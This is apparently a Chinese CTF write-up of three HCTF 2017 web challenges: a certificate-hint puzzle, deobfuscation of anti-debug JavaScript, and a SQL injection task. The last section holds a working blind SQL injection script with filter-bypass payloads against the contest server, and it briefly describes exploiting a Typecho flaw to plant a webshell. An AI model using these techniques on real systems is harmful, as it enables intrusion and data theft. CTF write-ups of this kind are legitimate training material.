2017HCTF 三道Web题解
总结: 今年HCTF 比较难,总共两天就作出三道题,第二关的js逆向题更是做了快一天了,之前对js调试没有接触过, 就一直用chrome的调试窗口调试js, 看了一天眼睛都看花了,最后把js所有逻辑都分析了一遍才艰难的做出来
easy_sign_in
用chrome浏览器打开后页面显示Why does your browser issue a warning?
而且网站的https的图标被报警告了, 结合提示,应该是证书的问题,使用的自签名的证书而不是CA颁发的证书, 推荐用Firefox浏览器打开查看证书信息 或者下载证书下来用openssl查看:
❰root❙/home/ctfwp2017/HCTF/Web❱✔≻ openssl x509 -noout -text -in flag.crt
Certificate:
Data:
Version: 1 (0x0)
Serial Number:
f5:02:e2:6f:2e:c9:e8:3e
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = CN, L = Default City, O = 123.206.81.217, OU = flag in:
Validity
Not Before: Nov 8 08:17:41 2017 GMT
Not After : Nov 6 08:17:41 2027 GMT
Subject: C = CN, L = Default City, O = 123.206.81.217, OU = flag in:
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (1024 bit)
Modulus:
00:b7:5d:f3:ed:17:01:c2:82:1c:39:70:20:cf:9e:
09:3d:ea:d2:06:8b:ec:46:f2:3a:68:a9:43:94:33:
ce:93:fe:1e:b8:f1:59:21:dd:81:d1:9b:1d:37:ec:
74:19:25:53:13:4f:9d:a9:bc:13:87:03:33:32:9b:
6b:37:67:4c:99:3a:69:6f:9f:2d:c2:a7:41:ef:10:
ef:bd:35:d2:b7:73:e3:01:fa:9c:16:6e:d9:f3:ee:
84:cd:32:c7:cd:83:30:12:83:6d:f8:fd:70:89:21:
f3:71:bd:e0:7f:f7:03:12:92:f9:86:ec:21:88:8a:
0f:68:55:82:ed:18:a8:f8:59
Exponent: 65537 (0x10001)
Signature Algorithm: sha256WithRSAEncryption
6d:f3:d6:9e:bc:1d:51:01:2d:16:7d:22:f1:ca:22:03:fe:2e:
8a:2c:14:68:43:ca:4e:5a:f8:ab:b0:16:5a:5c:2a:54:72:2a:
7f:ea:44:9c:fc:36:df:d5:95:4f:fc:44:fb:da:9f:20:95:a4:
a6:d2:02:6a:a5:57:56:2d:17:94:b2:29:56:5b:53:5d:1a:54:
fe:e0:d8:04:ae:57:6d:ee:57:bb:15:9c:f9:35:39:23:ca:3f:
3d:cb:a3:3a:0e:91:7d:7e:09:ee:3a:ea:98:d6:1b:52:ae:23:
34:e9:66:24:e6:5b:53:cc:40:eb:ce:ee:73:6a:33:f0:3f:75:
40:22
我们根据提示来看下Issuer字段都有那些东西Issuer: C = CN, L = Default City, O = 123.206.81.217, OU = flag in:
C(Country)是国家CN, L(Locality)是城市,Default City, O(Organization)是组织, OU其他内容为: flag in
发现组织这里有一个陌生的ip, 访问即可得到flag
BabyCrack
描述
just babycrack
1.flag.substr(-5,3)=="333"
2.flag.substr(-8,1)=="3"
3.Every word makes sence.
4.sha256(flag)=="d3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443"
Please make sure hint 4!!!
查看源代码发现=_=.js
中有一大段js代码,就补贴了, 这里利用chrome的调试器格式化一下js代码即可
下面是程序的大致框架, 强烈建议对一些常用函数改名,因为看到满屏十六进制函数名你会感觉到出题人深深的恶意的, 下面是我对一些函数改名后的代码
var strDict = ['random', 'charCodeAt', 'fromCharCode', 'parse', 'substr', '\x5cw+', 'replace', '(3(){(3\x20a(){7{(3\x20b(2){9((\x27\x27+(2/2)).5!==1||2%g===0){(3(){}).8(\x274\x27)()}c{4}b(++2)})(0)}d(e){f(a,6)}})()})();', '||i|function|debugger|length|5000|try|constructor|if|||else|catch||setTimeout|20', 'pop', 'length', 'join', 'getElementById', 'message', 'log', 'Welcome\x20to\x20HCTF:>', 'Congratulations!\x20you\x20got\x20it!', 'Sorry,\x20you\x20are\x20wrong...', 'window.console.clear();window.console.log(\x27Welcome\x20to\x20HCTF\x20:>\x27)', 'version', 'error', 'download', 'substring', 'push', 'Function', 'charAt', 'idle', 'pyW5F1U43VI', 'init', 'https://the-extension.com', 'local', 'storage', 'eval', 'then', 'get', 'getTime', 'setUTCHours', 'origin', 'set', 'GET', 'loading', 'status', 'removeListener', 'onUpdated', 'callee', 'addListener', 'onMessage', 'runtime', 'executeScript', 'data', 'test', 'http://', 'Url\x20error', 'query', 'filter', 'active', 'floor'];
(function(_0xd4b7d6, _0xad25ab) {
var _0x5e3956 = function(_0x1661d3) {
while (--_0x1661d3) {
_0xd4b7d6['push'](_0xd4b7d6['shift']());
}
};
_0x5e3956(++_0xad25ab);
}(strDict, 0x1a2));
var getStr = function(_0x5c351c, _0x2046d8) {
_0x5c351c = _0x5c351c - 0x0;
var _0x26f3b3 = strDict[_0x5c351c];
return _0x26f3b3;
};
function check(_0x5b7c0c) {
}
...
...
...
function test() {
var _0x5bf136 = document[getStr('0x32')](getStr('0x33'))['value'];
if (_0x5bf136 == '') {
console[getStr('0x34')](getStr('0x35'));
return ![];
}
var _0x4d0e29 = check(_0x5bf136);
if (_0x4d0e29) {
alert(getStr('0x36'));
} else {
alert(getStr('0x37'));
}
}
window['onload'] = function() {
setInterval(getStr('0x38'), 0x32);
test();
}
;
程序的如扩函数是test(), 获取我们输入的值(flag), 调用check()来验证,如果返回非0,则弹框成功,否则弹框失败
我们来看下check()这个主要的验证函数:
var strDict2 = ['code', getStr('0x0'), getStr('0x1'), getStr('0x2'), 'invalidMonetizationCode', getStr('0x3'), getStr('0x4'), getStr('0x5'), getStr('0x6'), getStr('0x7'), getStr('0x8'), getStr('0x9'), getStr('0xa'), getStr('0xb'), getStr('0xc'), getStr('0xd'), getStr('0xe'), getStr('0xf'), getStr('0x10'), getStr('0x11'), 'url', getStr('0x12'), getStr('0x13'), getStr('0x14'), getStr('0x15'), getStr('0x16'), getStr('0x17'), getStr('0x18'), 'tabs', getStr('0x19'), getStr('0x1a'), getStr('0x1b'), getStr('0x1c'), getStr('0x1d'), 'replace', getStr('0x1e'), getStr('0x1f'), 'includes', getStr('0x20'), 'length', getStr('0x21'), getStr('0x22'), getStr('0x23'), getStr('0x24'), getStr('0x25'), getStr('0x26'), getStr('0x27'), getStr('0x28'), getStr('0x29'), 'toString', getStr('0x2a'), 'split'];
var _0x50559f = _0x5b7c0c[strDict2[0x5]](0x0, 0x4);
var _0x5cea12 = parseInt(btoa(_0x50559f), 0x20);
eval(function(_0x200db2, _0x177f13, _0x46da6f, _0x802d91, _0x2d59cf, _0x2829f2) {
_0x2d59cf = function(_0x4be75f) {
return _0x4be75f['toString'](_0x177f13);
}
;
if (!''['replace'](/^/, String)) {
while (_0x46da6f--)
_0x2829f2[_0x2d59cf(_0x46da6f)] = _0x802d91[_0x46da6f] || _0x2d59cf(_0x46da6f);
_0x802d91 = [function(_0x5e8f1a) {
return _0x2829f2[_0x5e8f1a];
}
];
_0x2d59cf = function() {
return getStr('0x2b');
}
;
_0x46da6f = 0x1;
}
;while (_0x46da6f--)
if (_0x802d91[_0x46da6f])
_0x200db2 = _0x200db2[getStr('0x2c')](new RegExp('\x5cb' + _0x2d59cf(_0x46da6f) + '\x5cb','g'), _0x802d91[_0x46da6f]);
return _0x200db2;
}(getStr('0x2d'), 0x11, 0x11, getStr('0x2e')['split']('|'), 0x0, {}));
check 定义了大量的函数,要学会分析去掉一些混淆无用的函数, 比如开头的eval函数,比较复杂,分析了好久,最后才发现执行一段反调试的程序,导致程序一运行到这里就进入死循环, 我被坑在这里好久,最后才反映过来, 浪费了大量的时间
我们看下eval函数的传入的参数:(getStr('0x2d'), 0x11, 0x11, getStr('0x2e')['split']('|'), 0x0, {}))
并没有传入我们输入的值,因此是一个混淆的无用函数,这里可以选择注释或者把eval改成alert
查看下最后执行的是什么内容
(function () {
(function a() {
try {
(function b(i) {
if (('' + (i / i)).length !== 1 || i % 20 === 0) {
(function () {
}).constructor('debugger') ()
} else {
debugger
}
b(++i)
}) (0)
} catch (e) {
setTimeout(a, 5000)
}
}) ()
}) ();
最后eval 函数执行这样的一段匿名函数, 导致一直无法继续调试下去,这里我们选择注释然后继续看下面的内容
(function(_0x3291b7, _0xced890) {
var _0xaed809 = function(_0x3aba26) {
while (--_0x3aba26) {
_0x3291b7[getStr('0x4')](_0x3291b7['shift']());
}
};
_0xaed809(++_0xced890);
}(strDict2, _0x5cea12 % 0x7b));
var getStr2 = function(_0x3120e0) {
var _0x3120e0 = parseInt(_0x3120e0, 0x10);
var _0x3a882f = strDict2[_0x3120e0];
return _0x3a882f;
};
var tohex = function(_0x52ba71) {
var _0x52b956 = '0x';
for (var _0x59c050 = 0x0; _0x59c050 < _0x52ba71[getStr2(0x8)]; _0x59c050++) {
_0x52b956 += _0x52ba71[getStr2('f')](_0x59c050)[getStr2(0xc)](0x10);
}
return _0x52b956;
};
之后又定义了一个无用的匿名函数(匿名函数无法被调用,因此一般是没有用的), 可以选择step over
跳过去, getStr2() 函数是一个获取strDict2数组元素的函数, tohex()函数是一个字符串转hex的函数
var _0x76e1e8 = _0x5b7c0c["split"]('_');
var _0x34f55b = (tohex(_0x76e1e8[0x0][getStr2(0xd)](-0x2, 0x2)) ^ tohex(_0x76e1e8[0x0][getStr2(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][getStr2(0x8)] == 0x5;
if (!_0x34f55b) {
return ![];
}
b2c = function(_0x3f9bc5) { //对第三个参数base32
var _0x3c3bd8 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
var _0x4dc510 = [];
var _0x4a199f = Math[getStr('0x25')](_0x3f9bc5[getStr2(0x8)] / 0x5);
var _0x4ee491 = _0x3f9bc5[getStr2(0x8)] % 0x5;
if (_0x4ee491 != 0x0) {
for (var _0x1e1753 = 0x0; _0x1e1753 < 0x5 - _0x4ee491; _0x1e1753++) {
_0x3f9bc5 += '';
}
_0x4a199f += 0x1;
}
for (_0x1e1753 = 0x0; _0x1e1753 < _0x4a199f; _0x1e1753++) {
_0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')](_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5) >> 0x3));
_0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5) & 0x7) << 0x2 | _0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x1) >> 0x6));
_0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x1) & 0x3f) >> 0x1));
_0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x1) & 0x1) << 0x4 | _0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x2) >> 0x4));
_0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x2) & 0xf) << 0x1 | _0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x3) >> 0x7));
_0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x3) & 0x7f) >> 0x2));
_0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')]((_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x3) & 0x3) << 0x3 | _0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x4) >> 0x5));
_0x4dc510[getStr2('1b')](_0x3c3bd8[getStr2('1d')](_0x3f9bc5[getStr2('f')](_0x1e1753 * 0x5 + 0x4) & 0x1f));
}
var _0x545c12 = 0x0;
if (_0x4ee491 == 0x1)
_0x545c12 = 0x6;
else if (_0x4ee491 == 0x2)
_0x545c12 = 0x4;
else if (_0x4ee491 == 0x3)
_0x545c12 = 0x3;
else if (_0x4ee491 == 0x4)
_0x545c12 = 0x1;
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++)
_0x4dc510[getStr('0x2f')]();
for (_0x1e1753 = 0x0; _0x1e1753 < _0x545c12; _0x1e1753++)
_0x4dc510[getStr2('1b')]('=');
// (function() {
// (function _0x3c3bd8() {
// try {
// (function _0x4dc510(_0x460a91) {
// if (('' + _0x460a91 / _0x460a91)[getStr('0x30')] !== 0x1 || _0x460a91 % 0x14 === 0x0) {
// (function() {}
// ['constructor']('debugger')());
// } else {
// debugger ;
// }
// _0x4dc510(++_0x460a91);
// }(0x0));
// } catch (_0x30f185) {
// setTimeout(_0x3c3bd8, 0x1388);
// }
// }());
// }());
return _0x4dc510[getStr('0x31')]('');
}
;
var _0x76e1e8 = _0x5b7c0c["split"]('_');
把flag根据_
分隔成几个子串,还是去年的套路,把flag分成几段,分别去解出来,然后拼接起来
var _0x34f55b = (tohex(_0x76e1e8[0x0][getStr2(0xd)](-0x2, 0x2)) ^ tohex(_0x76e1e8[0x0][getStr2(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][getStr2(0x8)] == 0x5;
if (!_0x34f55b) {
return ![];
}
这里判断了第一个子串,用子串后两位异或第五位对子串长度求余,如果结果不等于5, 就退出程序,flag第五位是{
, 第一个子串猜测长度为7(这里只出现了7位),写一个脚本去爆破后两位:
import exrex
pattern = '[0123456789abcdefghijklmnopqrstuvwxyz]{2}'
for i in exrex.generate(pattern):
if (int((i).encode('hex'),16) ^ 0x7b) % 7 == 5:
print 'res:',i
得到很多个结果,我们选择一个js
先暂时绕过这个判断(最后是需要根据提供的flag的hash值去爆破的), 于是我们得到第一个字串长度为flag[0] = 'hctf{js'
继续看b2c函数, 该函数通过分析发现是一个str 转base32的函数(可以通过直接看返回值,跳过一步一步调试的去看, 中间一个匿名函数也是反调试的混淆代码,这里直接注释了)
e = tohex(b2c(_0x76e1e8[0x2])["split"]('=')[0x0]) ^ 0x53a3f32; //去掉= 后转hex
if (e != 0x4b7c0a73) { //NF5A iz
return ![];
}
f = tohex(b2c(_0x76e1e8[0x3])["split"]('=')[0x0]) ^ e; //OMYA s0
if (f != 0x4315332) {
return ![];
}
n = f * e * _0x76e1e8[0x0][getStr2(0x8)];
h = function(_0x4c466e, _0x28871) {
var _0x3ea581 = '';
for (var _0x2fbf7a = 0x0; _0x2fbf7a < _0x4c466e[getStr2(0x8)]; _0x2fbf7a++) {
_0x3ea581 += _0x28871(_0x4c466e[_0x2fbf7a]);
}
return _0x3ea581;
}
;
j = _0x76e1e8[0x1]["split"]('3');
if (j[0x0][getStr2(0x8)] != j[0x1][getStr2(0x8)] || (tohex(j[0x0]) ^ tohex(j[0x1])) != 0x1613) {
return ![];
}
k = _0xffcc52=>_0xffcc52[getStr2('f')]() * _0x76e1e8[0x1][getStr2(0x8)];
l = h(j[0x0], k);
if (l != 0x2f9b5072) {
return ![];
}
m = tohex(_0x76e1e8[0x4][getStr2(0xd)](0x0, 0x4)) - 0x48a05362 == n % l;
function _0x5a6d56(_0x5a25ab, _0x4a4483) {
var _0x55b09f = '';
for (var _0x508ace = 0x0; _0x508ace < _0x4a4483; _0x508ace++) {
_0x55b09f += _0x5a25ab;
}
return _0x55b09f;
}
if (!m || _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][getStr2(0xd)](-0x5, 0x4) || _0x76e1e8[0x4][getStr2(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) != 0x1) {
return ![];
}
o = tohex(_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2))[getStr2(0xd)](0x2) == _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x1)[getStr2('f')]() * _0x76e1e8[0x4][getStr2(0x8)] * 0x5;
tohex(_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2))[getStr2(0xd)](0x2)
return o && _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) == 0x2 && _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x7, 0x1), 0x2);
e和 f都是对flag[2],flag[3] 进行判断的,都只是简单地异或操作,解出来是iz和s0,
j = _0x76e1e8[0x1]["split"]('3');
这一段又把flag[1]分成了两个字串j[0],j[1], 判断条件为:j[0x0][getStr2(0x8)] != j[0x1][getStr2(0x8)] || (tohex(j[0x0]) ^ tohex(j[0x1])) != 0x1613
也是一个异或操作, 并不能确定具体是什么,我们继续来看, k定义了一个类似lambda的函数_0xffcc52=>_0xffcc52[getStr2('f')]() * _0x76e1e8[0x1][getStr2(0x8)]
, 然后把j[0]和k都传入h函数, h函数把j[0]的每一位都传入k函数然后对结果拼接起来,最后需要等于0x2f9b5072, js的弱类型会认为 12
== 0xc,即数字字符串12和0xc是相同的, 0x2f9b5072=798707826, 把798
,707
,826
分别传入通过逆回去,flag[1]长度为7, 解出来j[0]为rev, 通过第一次的异或的比较,得到另一串为rse, 因此flag[1] = rev3rse
m 是对flag[4]的前四位的判断, 算出来是h4rd, _0x5a6d56是一个repeat函数, 后面两个判断都是对flag[4]子串进行判断的:
if (!m || _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][getStr2(0xd)](-0x5, 0x4) || _0x76e1e8[0x4][getStr2(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) != 0x1) {
return ![];
}
o = tohex(_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2))[getStr2(0xd)](0x2) == _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x1)[getStr2('f')]() * _0x76e1e8[0x4][getStr2(0x8)] * 0x5;
return o && _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) == 0x2 && _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x7, 0x1), 0x2);
这段代码比较绕,我们需要迅速找到能够快速确定值的地方,比如_0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) == 0x2
我们就可以确定第第五位是2, 反推前面_0x76e1e8[0x4][getStr2(0xd)](-0x2, 0x1) - _0x76e1e8[0x4][getStr2(0xd)](0x4, 0x1) != 0x1)
可以确定倒数第二位是3
这个时候我们可以确定的内容还是比较少,我们回到题目的一些提示
1.flag.substr(-5,3)=="333"
2.flag.substr(-8,1)=="3"
题目给出了这四位的值, 第一个判断有一个是这样的_0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][getStr2(0xd)](-0x5, 0x4)
需要让这个条件不成立,(0x5, 0x1)是未知的,(-0x5, 0x4)我们知道是"3333", 我们可以大胆猜想(5,1) =(-8,1)= "3" , 这样,我们第四个子串的已知部分为: h4rd23**3333}
只剩下第七位和第八位了, 通过_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2) == _0x5a6d56(_0x76e1e8[0x4][getStr2(0xd)](0x7, 0x1), 0x2)
这个判断我们知道第七位和第八位应该是相同的(用了_0x5a6d56这个repeat函数),
o = tohex(_0x76e1e8[0x4][getStr2(0xd)](0x6, 0x2))[getStr2(0xd)](0x2) == _0x76e1e8[0x4][getStr2(0xd)](0x6, 0x1)[getStr2('f')]() * _0x76e1e8[0x4][getStr2(0x8)] * 0x5;
这个判断需要我们学一个脚本去爆破下看那些符合这个条件的字符:
s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTU!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
for i in s:
#print ord(i)*13*5
try:
if int((i+i).encode('hex').replace('0x','')) == ord(i)*13*5:
print i
except:
pass
最后爆出来字符e满足,所有最后的flag应该是: hctf{js_rev3rse_iz_s0_h4rd23ee3333}
, 提交到输入框中确实弹出答案正确,但提交flag却显示错误, 这就是为什么题目给了flag的hash值了, 因为js这两位是不确定的,可以是其他的字符串,因此这里通过hash来爆破flag
import hashlib
pattern = '[0123456789abcdefghijklmnopqrstuvwxyz]{2}'
for i in exrex.generate(pattern):
if (int((i).encode('hex'),16) ^ 0x7b) % 7 == 5:
print 'res:',i
flag = "hctf{%s_rev3rse_iz_s0_h4rd23ee3333}"%i
if hashlib.new('sha256',flag).hexdigest() == 'd3f154b641251e319855a73b010309a168a12927f3873c97d2e5163ea5cbb443':
print flag
break
最后解出来flag为: hctf{j5_rev3rse_iz_s0_h4rd23ee3333}
SQL Silencer
描述
What you need is in database
手动fuzz下发现过滤了+
,-
,*
,空格
,password
,order
,limit
,and
,or
,'
' infomation
,table_name
这些, 试了下id=2|3
, id=2|2
发现可以控制id,说明存在注入,这里我用的payload为id=1^1^1
, 脚本如下:
#!/usr/bin/env python
#coding:utf-8
import requests
import urllib
url = "http://sqls.2017.hctf.io/index/index.php?id="
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
#hex_s = ' !"#$%&`()*+,-./0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}~'
hex_s = ["20","21","22","23","24","25","26","27","28","29","2A","2B","2C","2D","2E","2F","30","31","32","33","34","35","36","37","38","39","3A","3B","3C","3C","3D","3E","3F","40","41","42","43","44","45","46","47","48","49","4A","4B","4C","4D","4E","4F","50","51","52","53","54","55","56","57","58","59","5A","5B","5C","5D","5E","5F","60","61","62","63","64","65","66","67","68","69","6A","6B","6C","6D","6E","6F","70","71","72","73","74","75","76","77","78","79","7A","7B","7D","7E","7F"]
old_char = ''
payload = "1^((select%0aflag%0afrom%0aflag%0awhere%0aflag>binary(0x60))>binary(0x{}))^1"
def access(p):
param = payload.format(old_char+p)
res = requests.get(url+param,headers=headers).content
#print param,res
if 'Alice' in res:
return True
else:
return False
def erfen():
global old_char
for y in hex_s:
l = 0
r = len(hex_s)
while l<r:
mid = (l+r)/2
if access(hex_s[mid]): # 如果为1,说明flag该位的值大于mid
l = mid+1
else:
r = mid
old_char += hex_s[l-1]
#print l
if l > 94:
return old_char[:-2].decode('hex')
break
print 'data => ',old_char.decode('hex')
if __name__ == '__main__':
s = erfen()
print 'flag:',s[:-1]+chr(ord(s[-1])+1)
有一处比较坑的地方是: flag表里面有不止一条数据, 还禁用了limit函数,导致只取一条数据,这里利用where flag>binary(0x50)
再做一次筛选即可
发现flag表里面有两条数据:
./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/
What_U_n33d_1s_under_m3
访问这个目录403, 扫目录后发现了一些有趣的文件比如admin/index.php
, 从后台可以看出这是一个typecho的站点,想到前不久刚爆出的typecho的漏洞,之前正好也分析了一波, 这里直接上传到根目录是没有权限的,我们可以上传到uploads目录下面, 最后成功getshell 菜刀连上去在根目录发现flag